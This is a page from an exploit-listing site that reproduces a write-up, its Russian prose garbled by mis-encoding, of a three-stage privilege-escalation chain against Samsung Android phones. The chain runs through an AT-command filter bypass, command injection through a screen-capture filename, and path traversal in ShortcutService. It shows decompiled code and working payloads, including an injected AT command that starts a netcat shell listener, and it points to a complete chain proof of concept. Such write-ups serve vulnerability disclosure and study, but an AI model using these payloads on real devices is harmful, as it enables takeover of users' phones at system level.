## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-VIKRAMADITYA015-SAMSUNG-ANDROID-LPE
# Π§Π°ΡΡΡ 1: ΠΡΠΎΠΈΠ·Π²ΠΎΠ»ΡΠ½ΠΎΠ΅ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ AT-ΠΊΠΎΠΌΠ°Π½Π΄ (CVE-2026-20980)
ΠΠΎΠΌΠ°Π½Π΄Ρ ΠΏΡΠΈΠΊΠ»Π°Π΄Π½ΠΎΠ³ΠΎ ΠΏΡΠΎΡΠ΅ΡΡΠΎΡΠ° (AP) ΡΠΏΡΠ°Π²Π»ΡΡΡΡΡ at_distributor ΠΏΠΎΡΠ»Π΅ ΠΏΠ΅ΡΠ΅ΠΊΠ»ΡΡΠ΅Π½ΠΈΡ ΡΠ΅ΠΆΠΈΠΌΠ° ΠΏΠΎΠ΄ΠΊΠ»ΡΡΠ΅Π½ΠΈΡ Π½Π° ΡΠ°Π·Π±Π»ΠΎΠΊΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠΌ ΡΡΡΡΠΎΠΉΡΡΠ²Π΅ Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ.
root@kitploit:~
AT+SWATD=0
AT+ACTIVATE=0,0,0
AT+SWATD=1
at_distributor ΠΏΡΠΎΠ²Π΅ΡΡΠ΅Ρ AT-ΠΊΠΎΠΌΠ°Π½Π΄Ρ ΡΠ΅ΡΠ΅Π· ΡΡΠ½ΠΊΡΠΈΡ pacm_check_at_cmds
root@kitploit:~
void main(int32_t arg1, void* arg2) __noreturn
{
int32_t var_21b0 = arg1;
data_42c170 = SignalHandler;
sigemptyset(0x42c178);
...
if (pacm_check_at_cmds(&data_42c1b4, &var_2160, &data_404a82, v0_11) != 1) {
SendToTerminal(&var_2160,
__strlen_chk(&var_2160, 0x80)
} else {
__android_log_print(3, "AT_Distributor", "%s()", "HandleMessageFromUart");
...
}
...
}
Π»ΠΎΠ³ΠΈΠΊΠ° ΡΡΠ½ΠΊΡΠΈΠΈ Π½Π°Ρ
ΠΎΠ΄ΠΈΡΡΡ Π²
root@kitploit:~
ldd at_distributor
libpacm_client.so => /system/lib64/libpacm_client.so
ΡΡΠ½ΠΊΡΠΈΡ Π²ΡΠ·ΡΠ²Π°Π΅Ρ is_multiple_cmds Π΄Π»Ρ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ, ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ Π»ΠΈ AT-ΠΊΠΎΠΌΠ°Π½Π΄Π° Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΠΊΠΎΠΌΠ°Π½Π΄.
root@kitploit:~
uint64_t pacm_check_at_cmds(int64_t arg1, char* arg2)
{
uint64_t x24 = _ReadMSR(tpidr_el0);
int64_t x8 = *(x24 + 0x28);
int32_t var_284;
...
if (!arg1)
{
__android_log_print(6, "PACMAN", "%s : AT Command is NULL\n", "pacm_check_at_cmds", v0);
x20_1 = var_284;
...
} else {
Command::set_command(&var_280);
char var_2d0;
void* var_2c0;
if (var_2d0 & 1)
operator delete(var_2c0, var_2d0 & 0xfffffffffffffffe);
int32_t x8_6;
if (!Command::is_multiple_cmds())
{
int32_t x0_13;
int128_t v0_1;
x0_13 = Command::preprocess_cmds(&var_280);
...
}
...
}
}
int64_t Command::is_multiple_cmds()
{
...
size_t x0 = strlen("
at+");
if (x0) {
...
memcmp(x0_4, "
at+", x0);
...
}
size_t x0_1 = strlen("
AT+");
if (x0_1) {
...
memcmp(x0_7, "
AT+", x0_1);
...
}
size_t x0_2 = strlen("
at+");
if (x0_2) {
...
memcmp(x0_10, "
at+", x0_2);
...
}
size_t x0_3 = strlen("
AT+");
if (x0_3) {
...
memcmp(x0_13, "
AT+", x0_3);
...
}
...
return 1;
}
ΠΏΠΎΡΡΠΎΠΌΡ AT-ΠΊΠΎΠΌΠ°Π½Π΄Π° Ρ ΡΡΠΎΠΉ Π½Π°Π³ΡΡΠ·ΠΊΠΎΠΉ Π·Π°Π²Π΅ΡΡΠΈΡΡΡ ΠΎΡΠΈΠ±ΠΊΠΎΠΉ.
root@kitploit:~
TX: AT+\nAT+VERSNAME=3,2,1
RX: +CME Error:PACM(AP),MULTIPLE_CMD
ΠΎΠ΄Π½Π°ΠΊΠΎ is_multiple_cmd Π½Π΅ ΠΏΡΠΎΠ²Π΅ΡΡΠ΅Ρ "aT+" ΠΈΠ»ΠΈ "At+", ΠΏΠΎΡΡΠΎΠΌΡ Π·Π°ΡΠΈΡΡΠ½Π½Π°Ρ/Π½Π΅Π·Π°ΡΠ΅Π³ΠΈΡΡΡΠΈΡΠΎΠ²Π°Π½Π½Π°Ρ ΠΊΠΎΠΌΠ°Π½Π΄Π° Π²ΡΠΏΠΎΠ»Π½ΡΠ΅ΡΡΡ.
root@kitploit:~
TX: AT+\naT+VERSNAME=1,3,0 (Note:AT+VERSNAME=1,3,0 is a protected command)
RX: +VERSNAME:1,SM8550,SM8550
# Π§Π°ΡΡΡ 2: ΠΡΠΎΠΈΠ·Π²ΠΎΠ»ΡΠ½ΠΎΠ΅ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΡΠΈΡΡΠ΅ΠΌΠ½ΡΡ
ΠΊΠΎΠΌΠ°Π½Π΄ Π² FacAtFunction (CVE-2026-20981)
FacAtFunction (uid 1000) β ΡΠΈΡΡΠ΅ΠΌΠ½ΠΎΠ΅ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΎΠ±ΡΠ°Π±Π°ΡΡΠ²Π°ΡΡΠ΅Π΅ Π±ΠΎΠ»ΡΡΠΈΠ½ΡΡΠ²ΠΎ AP AT-ΠΊΠΎΠΌΠ°Π½Π΄, Π² ΡΠ°ΡΡΠ½ΠΎΡΡΠΈ Π½Π΅Π·Π°ΡΠ΅Π³ΠΈΡΡΡΠΈΡΠΎΠ²Π°Π½Π½ΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ `AT+CAMEAUTO`.
ΡΡΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π° ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ Π΄Π»Ρ Π·Π°Ρ
Π²Π°ΡΠ° ΡΠΊΡΠ°Π½Π° Ρ ΠΏΠΎΠΌΠΎΡΡΡ shell-ΡΡΠ½ΠΊΡΠΈΠΈ/exec.
root@kitploit:~
...
if (checkArgu(strArr, new String[]{"0", "1", "0", "2"})) {
FtUtil.log_d(((AtCommandHandler) this).CLASS_NAME, "handleCommand", "Screen Capture & File Name : " + strArr[4]);
screenCapture(strArr[4]);
FtUtil.log_d(((AtCommandHandler) this).CLASS_NAME, "screenCapture", "result : 1");
str = responseOK(strArr[0]);
...
}
public final void screenCapture(String str) {
Process process;
FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "ScreenCapture", "ScreenCapture Start");
...
String str3 = i < 10 ? m + "SCREENIMAGE0" + i + "_" + str + "_" + simpleDateFormat.format(new Date(currentTimeMillis)) + ".jpg" : m + "SCREENIMAGE" + i + "_" + str + "_" + simpleDateFormat.format(new Date(currentTimeMillis)) + ".jpg";
FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "screenCapture", str + i + " / " + str3);
?? r15 = {"/system/bin/sh", "-c", str3};
Process process2 = null;
try {
try {
FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "ScreenCapture", "capture command");
process = Runtime.getRuntime().exec(r15);
...
...
}
ΠΈΠΌΡ ΡΠ°ΠΉΠ»Π° Π±Π΅ΡΡΡΡΡ ΠΎΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ, Π½ΠΎ ΡΡΠ½ΠΊΡΠΈΡ screenCapture Π½Π΅ ΠΎΡΠΈΡΠ°Π΅Ρ ΠΈΠΌΡ ΡΠ°ΠΉΠ»Π°. Π ΡΠ°ΠΊ ΠΊΠ°ΠΊ ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ Π½Π΅Π·Π°ΡΠ΅Π³ΠΈΡΡΡΠΈΡΠΎΠ²Π°Π½Π½ΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ ΠΈΠ· **Π§Π°ΡΡΠΈ 1** , Π΅Ρ ΠΌΠΎΠΆΠ½ΠΎ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ.
root@kitploit:~
TX: AT\naT+CAMEAUTO=0,1,0,2,/;/system/bin/toybox netcat -s 127.0.0.1 -p 1234 -L sh -l;
RX: OK
# Π§Π°ΡΡΡ 3: ΠΡΠΎΠΈΠ·Π²ΠΎΠ»ΡΠ½Π°Ρ Π·Π°ΠΏΠΈΡΡ ΡΠ°ΠΉΠ»ΠΎΠ² Π² ShortcutService (CVE-2026-20982)
Samsung ΡΠ΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π» ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΡΠΉ ΠΌΠ΅ΡΠΎΠ΄ Π²ΠΎΡΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½ΠΈΡ Π΄Π»Ρ Smart Switch Π΄Π»Ρ Π²ΠΎΡΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½ΠΈΡ Bitmap-ΡΠ°ΠΉΠ»ΠΎΠ²
root@kitploit:~
public void restoreBitmapsFromBackupService(ParcelFileDescriptor parcelFileDescriptor, String str, String str2) {
enforceScloudBackupWritePermission();
try {
ParcelFileDescriptor.AutoCloseInputStream autoCloseInputStream = new ParcelFileDescriptor.AutoCloseInputStream(parcelFileDescriptor);
FileOutputStream openIconFileForWriteSmartSwitch = openIconFileForWriteSmartSwitch(0, str, str2);
byte[] bArr = new byte[1024];
while (true) {
int read = autoCloseInputStream.read(bArr);
if (read <= 0) {
break;
}
openIconFileForWriteSmartSwitch.write(bArr, 0, read);
}
if (openIconFileForWriteSmartSwitch != null) {
openIconFileForWriteSmartSwitch.close();
}
autoCloseInputStream.close();
} catch (Exception unused) {
}
}
public final FileOutputStream openIconFileForWriteSmartSwitch(int i, String str, String str2) {
File file = new File(getUserBitmapFilePath(i), str);
if (!file.isDirectory()) {
file.mkdirs();
if (!file.isDirectory()) {
Slog.d("ShortcutService", "Unable to create directory " + file);
throw new IOException("Unable to create directory " + file);
}
SELinux.restorecon(file);
}
File file2 = new File(file, str2);
if (file2.exists()) {
Slog.d("ShortcutService", "Unable to create file - already exists " + file2);
throw new IOException("Unable to create file - already exists " + file2);
}
return new FileOutputStream(file2);
}
public final void enforceScloudBackupWritePermission() {
injectEnforceCallingPermission("com.samsung.android.scloud.backup.lib.write", null);
}
restoreBitmapsFromBackupService Π·Π°ΡΠΈΡΠ΅Π½Π° ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ΠΌ "com.samsung.android.scloud.backup.lib.write", ΠΌΡ Π±ΡΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ uid 1000 ΠΈΠ· **Π§Π°ΡΡΠΈ 2** , ΠΊΠΎΡΠΎΡΡΠΉ ΠΈΠΌΠ΅Π΅Ρ Π½Π΅ΠΎΠ±Ρ
ΠΎΠ΄ΠΈΠΌΠΎΠ΅ ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ Π΄Π»Ρ Π²ΡΠ·ΠΎΠ²Π° ΡΡΠ½ΠΊΡΠΈΠΈ.
Π·Π΄Π΅ΡΡ Π½Π΅ ΠΏΡΠΎΠΈΡΡ
ΠΎΠ΄ΠΈΡ ΠΎΡΠΈΡΡΠΊΠ° str(ΠΊΠ°ΡΠ°Π»ΠΎΠ³) ΠΈ str2(ΠΈΠΌΡ ΡΠ°ΠΉΠ»Π°) ΠΎΡ path traversal. ΠΠΎΡΠΊΠΎΠ»ΡΠΊΡ ShortcutService ΡΠ°Π±ΠΎΡΠ°Π΅Ρ Π² ΠΏΡΠΎΡΠ΅ΡΡΠ΅ `system_server`, ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠ΅ΡΠ΅Π·Π°ΠΏΠΈΡΠ°ΡΡ base.apk ΡΠΈΡΡΠ΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡΡ packages.xml, ΡΡΠΎΠ±Ρ ΠΏΠΎΠ»ΡΡΠΈΡΡ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° Π² `system_server`.
# PoC
* Complete chain of all three CVE is present in PoC/at.py
* Source for classes.dex in PoC/CVE-2026-20982/Exploit.java
* ΠΠ΅ΠΌΠΎΠ½ΡΡΡΠ°ΡΠΈΡ PoC